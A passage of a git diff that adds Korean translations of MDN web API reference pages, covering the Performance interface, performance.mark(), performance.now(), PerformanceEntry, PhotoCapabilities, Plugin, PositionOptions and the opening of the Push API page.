+ <dd>Returns a list of {{domxref("PerformanceEntry")}} objects based on the given <em>name</em> and <em>entry type</em>.</dd>
+ <dt>{{domxref("Performance.getEntriesByType()")}}</dt>
+ <dd>Returns a list of {{domxref("PerformanceEntry")}} objects of the given <em>entry type</em>.</dd>
+ <dt>{{domxref("Performance.mark()")}}</dt>
+ <dd>Creates a {{domxref("DOMHighResTimeStamp","timestamp")}} in the browser's <em>performance entry buffer</em> with the given name.</dd>
+ <dt>{{domxref("Performance.measure()")}}</dt>
+ <dd>Creates a named {{domxref("DOMHighResTimeStamp","timestamp")}} in the browser's performance entry buffer between two specified marks (known as the <em>start mark</em> and <em>end mark</em>, respectively).</dd>
+ <dt>{{domxref("Performance.now()")}}</dt>
+ <dd>Returns a {{domxref("DOMHighResTimeStamp")}} representing the amount of milliseconds elapsed since a reference instant.</dd>
+ <dt>{{domxref("Performance.setFrameTimingBufferSize()")}}</dt>
+ <dd>TBD</dd>
+ <dt>{{domxref("Performance.setResourceTimingBufferSize()")}}</dt>
+ <dd>Sets the browser's resource timing buffer size to the specified number of "<code>resource</code>" {{domxref("PerformanceEntry.entryType","type")}} {{domxref("PerformanceEntry","performance entry")}} objects.</dd>
+ <dt>{{domxref("Performance.toJSON()")}}</dt>
+ <dd>Is a jsonizer returning a json object representing the <code>Performance</code> object.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time Level 2', '#the-performance-interface', 'toJSON()')}}</td>
+   <td>{{Spec2('Highres Time Level 2')}}</td>
+   <td>Defines <code>toJson()</code> method.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time', '#the-performance-interface', 'Performance')}}</td>
+   <td>{{Spec2('Highres Time')}}</td>
+   <td>Defines <code>now()</code> method.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Navigation Timing', '#sec-window.performance-attribute', 'Performance')}}</td>
+   <td>{{Spec2('Navigation Timing')}}</td>
+   <td>Defines <code>timing</code> and <code>navigation</code> properties.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Performance Timeline Level 2', '#extensions-to-the-performance-interface', 'Performance extensions')}}</td>
+   <td>{{Spec2('Performance Timeline Level 2')}}</td>
+   <td>Changes <code>getEntries()</code> interface.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Performance Timeline', '#sec-window.performance-attribute', 'Performance extensions')}}</td>
+   <td>{{Spec2('Performance Timeline')}}</td>
+   <td>Defines <code>getEntries()</code>, <code>getEntriesByType()</code> and <code>getEntriesByName()</code> methods.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Resource Timing', '#extensions-performance-interface', 'Performance extensions')}}</td>
+   <td>{{Spec2('Resource Timing')}}</td>
+   <td>Defines <code>clearResourceTimings()</code> and <code>setResourceTimingBufferSize()</code> methods and the <code>onresourcetimingbufferfull</code> property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('User Timing Level 2', '#extensions-performance-interface', 'Performance extensions')}}</td>
+   <td>{{Spec2('User Timing Level 2')}}</td>
+   <td>Clarifies <code>mark()</code>, <code>clearMark()</code>, <code>measure()</code> and <code>clearMeasure()</code> methods.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('User Timing', '#extensions-performance-interface', 'Performance extensions')}}</td>
+   <td>{{Spec2('User Timing')}}</td>
+   <td>Defines <code>mark()</code>, <code>clearMark()</code>, <code>measure()</code> and <code>clearMeasure()</code> methods.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('<span style="line-height: 1.5;">Frame Timing', '#extensions-performance-interface','Performance extensions')}}</span></td>
+   <td>{{Spec2('User Timing')}}</td>
+   <td>Defines <code>clearFrameTimings()</code>, <code>setFrameTimingBufferSize()</code>, and <code>onframetimingbufferfull</code> methods.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("api.Performance")}}</p>
+</div>
+</div>
diff --git a/files/ko/web/api/performance/mark/index.html b/files/ko/web/api/performance/mark/index.html
new file mode 100644
index 0000000000..7c4261e1ba
--- /dev/null
+++ b/files/ko/web/api/performance/mark/index.html
@@ -0,0 +1,101 @@
+---
+title: performance.mark()
+slug: Web/API/Performance/mark
+tags:
+  - API
+  - Method
+  - Reference
+  - Web Performance
+translation_of: Web/API/Performance/mark
+---
+<div>{{APIRef("User Timing API")}}</div>
+
+<p><strong><code>mark()</code></strong> 메소드는 브라우저의 <em>performance entry buffer</em>에 주어진 이름으로 {{domxref("DOMHighResTimeStamp","timestamp")}}를 생성합니다. timestamp가 정의된 응용프로그램은 {{domxref("Performance")}} 인터페이스의 <code>getEntries*()</code> 메소드들을 통해 불러올 수 있습니다. ({{domxref("Performance.getEntries","getEntries()")}}, {{domxref("Performance.getEntriesByName","getEntriesByName()")}}, {{domxref("Performance.getEntriesByType","getEntriesByType()")}}).</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p><code>mark</code>의 {{domxref("PerformanceEntry","performance entry")}}는 다음 속성값을 갖습니다:</p>
+
+<ul>
+ <li>{{domxref("PerformanceEntry.entryType","entryType")}} - "<code>mark</code>"로 설정됩니다.</li>
+ <li>{{domxref("PerformanceEntry.name","name")}} - mark가 생성될 때 주어진 "<code>name</code>"으로 설정됩니다.</li>
+ <li>{{domxref("PerformanceEntry.startTime","startTime")}} - <code>mark()</code>가 호출되었을 때의 {{domxref("DOMHighResTimeStamp","timestamp")}}가 설정됩니다.</li>
+ <li>{{domxref("PerformanceEntry.duration","duration")}} - "<code>0</code>"으로 설정됩니다. (<em>duration</em>이 없는 mark).</li>
+</ul>
+
+<p>만약 메서드에 주어진 <code>name</code>이 이미 {{domxref("PerformanceTiming")}} 인터페이스 상에 존재한다면 {{jsxref("SyntaxError")}}를 throw 합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>performance</em>.mark(name);
+</pre>
+
+<h3 id="Arguments">Arguments</h3>
+
+<dl>
+ <dt>name</dt>
+ <dd>mark의 이름을 나타내는 {{domxref("DOMString")}}.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<dl>
+ <dt>void</dt>
+ <dd></dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>다음 예시는 mark()를 사용하여 {{domxref("PerformanceMark")}}를 생성하고 불러오는 방법을 보여줍니다.</p>
+
+<pre class="brush:js">// Create a bunch of marks.
+performance.mark("squirrel");
+performance.mark("squirrel");
+performance.mark("monkey");
+performance.mark("monkey");
+performance.mark("dog");
+performance.mark("dog");
+
+// Get all of the PerformanceMark entries.
+const allEntries = performance.getEntriesByType("mark");
+console.log(allEntries.length);
+// 6
+
+// Get all of the "monkey" PerformanceMark entries.
+const monkeyEntries = performance.getEntriesByName("monkey");
+console.log(monkeyEntries.length);
+// 2
+
+// Clear out all of the marks.
+performance.clearMarks();
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('User Timing Level 2', '#dom-performance-mark', 'mark()')}}</td>
+   <td>{{Spec2('User Timing Level 2')}}</td>
+   <td>Clarifies <code>mark()</code> processing model.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('User Timing', '#dom-performance-mark', 'mark()')}}</td>
+   <td>{{Spec2('User Timing')}}</td>
+   <td>Basic definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.Performance.mark")}}</p>
+</div>
diff --git a/files/ko/web/api/performance/now/index.html b/files/ko/web/api/performance/now/index.html
new file mode 100644
index 0000000000..f252b19a85
--- /dev/null
+++ b/files/ko/web/api/performance/now/index.html
@@ -0,0 +1,99 @@
+---
+title: performance.now()
+slug: Web/API/Performance/now
+tags:
+  - Performance
+  - performance.now
+translation_of: Web/API/Performance/now
+---
+<div>{{APIRef("High Resolution Timing")}}</div>
+
+<p>The <code><strong>performance.now()</strong></code> method returns a {{domxref("DOMHighResTimeStamp")}}, measured in milliseconds.</p>
+
+<div class="warning">
+<p>The timestamp is not actually high-resolution. To mitigate security threats such as <a href="https://spectreattack.com/">Spectre</a>, browsers currently round the results to varying degrees. (Firefox started rounding to 1 millisecond in Firefox 60.) Some browsers may also slightly randomize the timestamp. The precision may improve again in future releases; browser developers are still investigating these timing attacks and how best to mitigate them.</p>
+</div>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>The returned value represents the time elapsed since the <a href="/en-US/docs/Web/API/DOMHighResTimeStamp#The_time_origin">time origin</a>.</p>
+
+<p>Bear in mind the following points:</p>
+
+<ul>
+ <li>In dedicated workers created from a {{domxref("Window")}} context, the value in the worker will be lower than <code>performance.now()</code> in the window who spawned that worker. It used to be the same as <code>t0</code> of the main context, but this was changed.</li>
+ <li>In shared or service workers, the value in the worker might be higher than that of the main context because that window can be created after those workers.</li>
+</ul>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>t</em> = performance.now();</pre>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">var t0 = performance.now();
+doSomething();
+var t1 = performance.now();
+console.log("Call to doSomething took " + (t1 - t0) + " milliseconds.");
+</pre>
+
+<p>Unlike other timing data available to JavaScript (for example <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date/now"><code>Date.now</code></a>), the timestamps returned by <code>performance.now()</code> are not limited to one-millisecond resolution. Instead, they represent times as floating-point numbers with up to microsecond precision.</p>
+
+<p>Also unlike <code>Date.now()</code>, the values returned by <code>performance.now() </code>always increase at a constant rate, independent of the system clock (which might be adjusted manually or skewed by software like NTP). Otherwise, <code>performance.timing.navigationStart + performance.now() </code>will be approximately equal to<code> Date.now()</code>.</p>
+
+<h2 id="Reduced_time_precision">Reduced time precision</h2>
+
+<p>To offer protection against timing attacks and fingerprinting, the precision of <code>performance.now()</code> might get rounded depending on browser settings.<br>
+ In Firefox, the <code>privacy.reduceTimerPrecision</code>  preference is enabled by default and defaults to 1ms.</p>
+
+<pre class="brush: js">// reduced time precision (1ms) in Firefox 60
+performance.now();
+// 8781416
+// 8781815
+// 8782206
+// ...
+
+
+// reduced time precision with `privacy.resistFingerprinting` enabled
+performance.now();
+// 8865400
+// 8866200
+// 8866700
+// ...
+</pre>
+
+<p>In Firefox, you can also enable <code>privacy.resistFingerprinting</code> — this changes the precision to 100ms or the value of <code>privacy.resistFingerprinting.reduceTimerPrecision.microseconds</code>, whichever is larger.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time Level 2', '#dom-performance-now', 'performance.now()')}}</td>
+   <td>{{Spec2('Highres Time Level 2')}}</td>
+   <td>Stricter definitions of interfaces and types.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time', '#dom-performance-now', 'performance.now()')}}</td>
+   <td>{{Spec2('Highres Time')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Performance.now")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="http://updates.html5rocks.com/2012/08/When-milliseconds-are-not-enough-performance-now">When milliseconds are not enough: performance.now() </a>from HTML5 Rocks.</li>
+</ul>
diff --git a/files/ko/web/api/performanceentry/index.html b/files/ko/web/api/performanceentry/index.html
new file mode 100644
index 0000000000..35c6271781
--- /dev/null
+++ b/files/ko/web/api/performanceentry/index.html
@@ -0,0 +1,142 @@
+---
+title: PerformanceEntry
+slug: Web/API/PerformanceEntry
+translation_of: Web/API/PerformanceEntry
+---
+<div>{{APIRef("Performance Timeline API")}}</div>
+
+<p><span class="seoSummary"><strong><code>PerformanceEntry</code></strong> 객체는 <em>performance timeline</em> 상의 단일 성능 수치를 캡슐화 합니다. <em>performance entry</em>는 응용프로그램의 특정 지점에서 performance <em>{{domxref("PerformanceMark","mark")}}</em>나 <em>{{domxref("PerformanceMeasure","measure")}}</em>를 생성함으로써 (예를 들면 {{domxref("Performance.mark","mark()")}}를 호출하는 방법으로) 직접적으로 만들어질 수 있습니다. 또는 (이미지와 같은) 리소스를 로딩하는 등의 간접적인 방법으로 생성되기도 합니다.</span></p>
+
+<p><code>PerformanceEntry</code> 인스턴스는 항상 다음 서브타입들 중 하나를 따릅니다:</p>
+
+<ul>
+ <li>{{domxref("PerformanceMark")}}</li>
+ <li>{{domxref("PerformanceMeasure")}}</li>
+ <li>{{domxref("PerformanceFrameTiming")}}</li>
+ <li>{{domxref("PerformanceNavigationTiming")}}</li>
+ <li>{{domxref("PerformanceResourceTiming")}}</li>
+ <li>{{domxref("PerformancePaintTiming")}}</li>
+</ul>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("PerformanceEntry.name")}} {{readonlyInline}}</dt>
+ <dd>A value that further specifies the value returned by the {{domxref("PerformanceEntry.entryType")}} property. The value of both depends on the subtype. See property page for valid values.</dd>
+ <dt>{{domxref("PerformanceEntry.entryType")}} {{readonlyInline}}</dt>
+ <dd>A {{domxref("DOMString")}} representing the type of performance metric such as, for example, "<code>mark</code>". See property page for valid values.</dd>
+ <dt>{{domxref("PerformanceEntry.startTime")}} {{readonlyInline}}</dt>
+ <dd>A {{domxref("DOMHighResTimeStamp")}} representing the starting time for the performance metric.</dd>
+ <dt>{{domxref("PerformanceEntry.duration")}} {{readonlyInline}}</dt>
+ <dd>A {{domxref("DOMHighResTimeStamp")}} representing the time value of the duration of the performance event.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("PerformanceEntry.toJSON","PerformanceEntry.toJSON()")}}</dt>
+ <dd>Returns a JSON representation of the <code>PerformanceEntry</code> object.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>The following example checks all <code>PerformanceEntry</code> properties to see if the browser supports them and if so, write their values to the console.</p>
+
+<pre class="brush: js">function print_PerformanceEntries() {
+  // Use getEntries() to get a list of all performance entries
+  var p = performance.getEntries();
+  for (var i=0; i &lt; p.length; i++) {
+    console.log("PerformanceEntry[" + i + "]");
+    print_PerformanceEntry(p[i]);
+  }
+}
+function print_PerformanceEntry(perfEntry) {
+  var properties = ["name",
+                    "entryType",
+                    "startTime",
+                    "duration"];
+
+  for (var i=0; i &lt; properties.length; i++) {
+    // Check each property
+    var supported = properties[i] in perfEntry;
+    if (supported) {
+      var value = perfEntry[properties[i]];
+      console.log("... " + properties[i] + " = " + value);
+    } else {
+      console.log("... " + properties[i] + " is NOT supported");
+    }
+  }
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Resource Timing 3')}}</td>
+   <td>{{Spec2('Resource Timing 3')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Resource Timing 2')}}</td>
+   <td>{{Spec2('Resource Timing 2')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Resource Timing')}}</td>
+   <td>{{Spec2('Resource Timing')}}</td>
+   <td>Adds the {{domxref("PerformanceResourceTiming")}} interface and the <code>resource</code> value for <code>entryType</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Navigation Timing Level 2')}}</td>
+   <td>{{Spec2('Navigation Timing Level 2')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Navigation Timing')}}</td>
+   <td>{{Spec2('Navigation Timing')}}</td>
+   <td>Adds the {{domxref("PerformanceNavigationTiming")}} interface and the <code>navigation</code> value for <code>entryType</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('User Timing Level 2')}}</td>
+   <td>{{Spec2('User Timing Level 2')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('User Timing')}}</td>
+   <td>{{Spec2('User Timing')}}</td>
+   <td>Adds the {{domxref("PerformanceMark")}} and {{domxref("PerformanceMeasure")}} interfaces as well as the <code>mark</code> and <code>measure</code> values for <code>entryType</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Frame Timing')}}</td>
+   <td>{{Spec2('Frame Timing')}}</td>
+   <td>Adds the {{domxref('PerformanceFrameTiming')}} interface and the <code>frame</code> value for <code>entryType</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Performance Timeline Level 2', '#dom-performanceentry', 'PerformanceEntry')}}</td>
+   <td>{{Spec2('Performance Timeline Level 2')}}</td>
+   <td>Added <code>toJSON()</code> serializer method.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Performance Timeline', '#dom-performanceentry', 'PerformanceEntry')}}</td>
+   <td>{{Spec2('Performance Timeline')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.PerformanceEntry")}}</p>
+</div>
diff --git a/files/ko/web/api/photocapabilities/index.html b/files/ko/web/api/photocapabilities/index.html
new file mode 100644
index 0000000000..5cf3842b87
--- /dev/null
+++ b/files/ko/web/api/photocapabilities/index.html
@@ -0,0 +1,84 @@
+---
+title: PhotoCapabilities
+slug: Web/API/PhotoCapabilities
+tags:
+  - API
+  - Experimental
+  - Interface
+  - MediaStream Image Capture API
+  - PhotoCapabilities
+  - Reference
+translation_of: Web/API/PhotoCapabilities
+---
+<div>{{APIRef("MediaStream Image")}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/API/MediaStream_Image_Capture_API">MediaStream Image Capture API</a>의 <code>PhotoCapabilities</code> 인터페이스는 장착된 촬영 장치에서 사용 가능한 설정 옵션을 제공합니다. <code>PhotoCapabilities</code> 객체는 {{domxref("ImageCapture.getPhotoCapabilities()")}}를 사용해 가져올 수 있습니다..</span></p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("PhotoCapabilities.redEyeReduction")}} {{readonlyinline}}</dt>
+ <dd>장치의 적목 현상 감소 기능 적용 여부를 나타내는 열거형 값을 반환합니다. 가능한 값은 <code>"never"</code>, <code>"always"</code>, <code>"controllable"</code>로, <code>"controllable"</code>이어야 설정 가능합니다.</dd>
+ <dt>{{domxref("PhotoCapabilities.imageHeight")}} {{readonlyinline}}</dt>
+ <dd>{{glossary("user agent", "사용자 에이전트")}}가 지원하는 이미지 높이를 나타내는 {{domxref("MediaSettingsRange")}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("PhotoCapabilities.imageWidth")}} {{readonlyinline}}</dt>
+ <dd>{{glossary("user agent", "사용자 에이전트")}}가 지원하는 이미지 너비를 나타내는 {{domxref("MediaSettingsRange")}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("PhotoCapabilities.fillLightMode")}} {{readonlyinline}}</dt>
+ <dd>사용 가능한 플래시 옵션을 담은 배열을 반환합니다. 가능한 값은 <code>auto</code>, <code>off</code>, <code>flash</code>입니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 <a href="https://googlechrome.github.io/samples/image-capture/photo-resolution.html">Chrome의 Image Capture / Photo Resolution Sample</a>에서 가져온 코드로, {{domxref("ImageCapture.getPhotoCapabilities", "getPhotoCapabilities()")}}를 사용해 범위 입력 칸의 크기를 수정합니다. 또한 장치의 {{domxref("MediaStream")}}에서 가져온 {{domxref("MediaStreamTrack")}} 객체를 사용해 {{domxref("ImageCapture")}} 객체를 생성하는 부분도 포함하고 있습니다.</p>
+
+<pre class="brush: js">const input = document.querySelector('input[type="range"]');
+
+var imageCapture;
+
+navigator.mediaDevices.getUserMedia({video: true})
+.then(mediaStream =&gt; {
+  document.querySelector('video').srcObject = mediaStream;
+
+  const track = mediaStream.getVideoTracks()[0];
+  imageCapture = new ImageCapture(track);
+
+  return imageCapture.getPhotoCapabilities();
+})
+.then(photoCapabilities =&gt; {
+  const settings = imageCapture.track.getSettings();
+
+  input.min = photoCapabilities.imageWidth.min;
+  input.max = photoCapabilities.imageWidth.max;
+  input.step = photoCapabilities.imageWidth.step;
+
+  return imageCapture.getPhotoSettings();
+})
+.then(photoSettings =&gt; {
+  input.value = photoSettings.imageWidth;
+})
+.catch(error =&gt; console.log('Argh!', error.name || error));</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('MediaStream Image','#photocapabilities-section','PotoCapabilities')}}</td>
+   <td>{{Spec2('MediaStream Image')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.PhotoCapabilities")}}</p>
+</div>
diff --git a/files/ko/web/api/plugin/index.html b/files/ko/web/api/plugin/index.html
new file mode 100644
index 0000000000..68828f0b69
--- /dev/null
+++ b/files/ko/web/api/plugin/index.html
@@ -0,0 +1,67 @@
+---
+title: Plugin
+slug: Web/API/Plugin
+tags:
+  - API
+  - Add-ons
+  - DOM
+  - NeedsContent
+  - Plug-in
+  - Plugins
+translation_of: Web/API/Plugin
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>플러그 인 인터페이스는 브라우저 플러그 인에 대한 정보를 제공합니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 플러그 인 개체의 고유 속성은 더 이상 최신 브라우저 버전에서 찾아볼 수 없습니다.</p>
+</div>
+
+<h2 id="Properties" name="Properties">특성</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>이름</th>
+   <th>설명</th>
+   <th>Return Type</th>
+   <th>유용성</th>
+  </tr>
+  <tr>
+   <td>{{domxref("Plugin.description")}}</td>
+   <td>
+    <p>플러그 인에 대한 읽기 쉬운 설명입니다. 읽기 전용입니다.</p>
+   </td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>DOM 0</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Plugin.filename")}}</td>
+   <td>플러그 인 파일의 파일 이름. 읽기 전용입니다.</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>DOM 0</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Plugin.name")}}</td>
+   <td>플러그 인의 이름. 읽기 전용입니다.</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>DOM 0</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Plugin.version")}}</td>
+   <td>플러그 인의 버전 번호 문자열. 읽기 전용입니다.</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Gecko browsers only (Firefox 4+)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods" name="Methods">방법</h2>
+
+<dl>
+ <dt>{{domxref("Plugin.item")}}</dt>
+ <dd>지원되는 유형의 목록에 인덱스 번호를 부여한 경우 지원되는 콘텐츠 유형의 MIME형식을 반환합니다.</dd>
+ <dt>{{domxref("Plugin.namedItem")}}</dt>
+ <dd>지원되는 항목의 MIME유형을 반환합니다.</dd>
+</dl>
diff --git a/files/ko/web/api/positionoptions/index.html b/files/ko/web/api/positionoptions/index.html
new file mode 100644
index 0000000000..6e53dde993
--- /dev/null
+++ b/files/ko/web/api/positionoptions/index.html
@@ -0,0 +1,64 @@
+---
+title: PositionOptions
+slug: Web/API/PositionOptions
+tags:
+  - API
+  - Geolocation API
+  - Interface
+  - PositionOptions
+  - Reference
+  - Secure context
+translation_of: Web/API/PositionOptions
+---
+<div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div>
+
+<p><strong><code>PositionOptions</code></strong> 인터페이스는 {{domxref("Geolocation.getCurrentPosition()")}}과 {{domxref("Geolocation.watchPosition()")}}의 매개변수로 전달할 옵션 속성을 포함한 개체를 나타냅니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<p><em><code>PositionOptions</code></em> <em>인터페이스는 어떤 속성도 상속하지 않습니다.</em></p>
+
+<dl>
+ <dt>{{domxref("PositionOptions.enableHighAccuracy")}} {{securecontext_inline}}</dt>
+ <dd>위치정보를 가장 높은 정확도로 수신하고 싶음을 나타내는 {{domxref("Boolean")}}입니다. 이 값이 <code>true</code>이고, 장치도 지원한다면 더 정확한 위치정보를 받을 수 있습니다. 그러나 느린 응답 속도와, 모바일 장치에서의 전력 소모량 증가는 주의해야 합니다. 반대로, 값이 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">false</span></font>면 기기가 더 빠르게 반응하고 전력 소모도 줄일 수 있습니다. 기본값은 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">false</span></font>입니다.</dd>
+ <dt>{{domxref("PositionOptions.timeout")}} {{securecontext_inline}}</dt>
+ <dd>기기가 위치를 반환할 때 소모할 수 있는 최대 시간을 밀리초로 나타내는 양의 <code>long</code> 값입니다. 기본값은 {{jsxref("Infinity")}}로, 위치정보를 알아낼 때까지 <code>getCurrentPosition()</code>의 성공 콜백을 호출하지 않습니다.</dd>
+ <dt>{{domxref("PositionOptions.maximumAge")}} {{securecontext_inline}}</dt>
+ <dd>캐시에 저장한 위치정보를 대신 반환할 수 있는 최대 시간을 밀리초로 나타내는 양의 <code>long</code> 값입니다. <code>0</code>으로 설정하면 장치가 사전에 미리 저장한 위치를 사용하지 않고, 항상 현재 위치를 검색합니다. {{jsxref("Infinity")}}로 설정하면 지난 시간에 상관없이 캐시에 저장한 위치를 반환합니다. 기본값은 0입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><code>PositionOptions</code> 인터페이스는 어떤 메서드도 구현하거나 상속하지 않습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#positionoptions', 'PositionOptions')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.PositionOptions")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Geolocation_API">Geolocation API</a></li>
+ <li>이 인터페이스를 사용하는 {{domxref("Geolocation")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/api/push_api/index.html b/files/ko/web/api/push_api/index.html
new file mode 100644
index 0000000000..6daed1c115
--- /dev/null
+++ b/files/ko/web/api/push_api/index.html
@@ -0,0 +1,118 @@
+---
+title: Push API
+slug: Web/API/Push_API
+translation_of: Web/API/Push_API
+---
+<div>{{DefaultAPISidebar("Push API")}}</div>
+
+<p class="summary"><strong>Push API</strong>는 웹 애플리케이션이 현재 로딩이 되어 있지 않더라도 서버로부터 메시지를 받을 수 있도록 하는 기능이다. 이는 개발자들이 비동기적으로 사용자에게 새로운 내용을 시기적절하게 전달할 수 있도록 만들어 준다.</p>
+
+<h2 id="Push_콘셉트와_사용처">Push 콘셉트와 사용처</h2>
+
+<div class="warning">
+<p>PushManager를 수행할 때,  해당 애플리케이션에 CSRF/XSRF 이슈에 대한 대응책을 마련해놓아야 한다: </p>
+
+<ul>
+ <li><a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet">Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</a></li>
+ <li><a href="https://blog.codinghorror.com/preventing-csrf-and-xsrf-attacks/">Preventing CSRF and XSRF Attacks</a></li>
+</ul>
+</div>
+
+<p>애플리케이션이 push 메시지를 받기 위해서, <a href="/en-US/docs/Web/API/ServiceWorker_API">service worker</a>를 활성화한다. </p>
+
+<p>{{domxref("PushManager.subscribe()")}}.</p>
+
+<p>{{domxref("PushSubscription")}}에 애플리케이션이 보내야 하는 push메시지를 담고, (엔드포인트와 암호화키가 필요)</p>
+
+<p>service worker는{{domxref("ServiceWorkerGlobalScope.onpush")}} 라는 이벤트 핸들러로부터 전달되는 push 메시지를 처리하기 시작한다.</p>
+
+<p>각 요청은 <a href="http://www.w3.org/TR/capability-urls/">capability URL</a>:(당신의 애플리케이션)을 특정하여 엔드포인트를 구성하기 때문에 엔드포인트 URL은 보안에 신경을 써야 하며, 그렇지 않을 경우 다른 애플리케이션에서 당신의 애플리케이션에 push 메시지를 보낼 가능성도 있다. </p>
+
+<p>push 메시지를 전달하기 위해 service worker를 활성화하는 건, 리소스 사용이 늘어나는 결과를 가져오기 때문에, 특히 배터리 사용에 영향을 미친다. 한편 push메시지 처리를 위해 브라우저 간 다른 스키마를 가지기 때문에, 표준화된 메커니즘이 없다. Firefox는 한정된 숫자(quota)만을 push 메시지로 보내도록 해 놓았다. 이러한 제한은 사이트에 방문할 때마다 초기화되며, Chrome은 제한이 없으며 모든 push 메시지가 보이도록 한다. </p>
+
+<div class="note">
